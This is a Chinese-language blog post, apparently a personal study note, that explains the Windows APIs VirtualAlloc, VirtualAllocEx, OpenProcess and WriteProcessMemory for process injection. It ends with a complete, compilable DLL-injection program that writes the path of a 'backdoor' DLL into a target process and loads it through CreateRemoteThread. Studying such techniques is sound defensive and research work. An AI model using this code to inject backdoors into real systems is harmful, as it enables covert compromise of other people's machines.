标签:LLC 自动 read buffer http readwrite base word 打开
以下都是我个人一些理解,笔者不太了解windows开发,如有错误请告知,非常感谢,一切以microsoft官方文档为准。
https://docs.microsoft.com/en-us/windows/win32/api/
在调用进程的虚拟地址空间中保留,提交或更改页面区域的状态。此功能分配的内存将自动初始化为零。
简单讲就是分配大内存空间。
C++
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//个人理解
VirtualAlloc(起始地址, shellcode的大小, 分配虚拟空间地址,赋予执行或只读权限)
DWORD flAllocationType请查看这里
DWORD flProtect请查看这里
https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants
https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
在指定进程的虚拟地址空间内保留,提交或更改内存区域的状态。该函数将其分配的内存初始化为零。
与VirtualAlloc()最大的区别就是VirtualAllocEx()可以使得分配的空间指定在一个进程中的内存地址里面,该函数常用在进程注入。
c++
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
//个人理解,processHandle为我自己创建的读取到的进程句柄
VirtualAllocEx(句柄, 起始地址, shellcode的大小, 分配虚拟空间地址, 赋予执行或只读权限)
打开进程对象。
c++
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
//个人理解
OpenProcess(进程对象的最大访问权限, 不继承句柄, 要打开的本地进程的标识符。)
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
在指定的进程中将数据写入内存区域。必须写入整个区域,否则操作将失败。
c++
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
//个人理解,(LPVOID)dllPath可以为你后门dll的路径,即你要注入的dll路径。
WriteProcessMemory(上面要读取的进程的句柄, 使用VAE函数加载shellcode成功后返回的基地址, 要注入的dll地址, 注入dll的大小, 指向变量的指针.该变量接收传输到指定进程中的字节数)
这是一个经典的dll注入远程进程的案例,可以方便你更好的理解 上面的函数。
inject-dll.cpp
int main(int argc, char *argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle);
return 0;
}
编译以上代码,并提供需要注入的进程pid,你将把evilm64.dll注入到pid进程中。
之后还会陆续更新一些自己学到的Windows API函数。
标签:LLC 自动 read buffer http readwrite base word 打开
原文地址:https://www.cnblogs.com/Secde0/p/14162384.html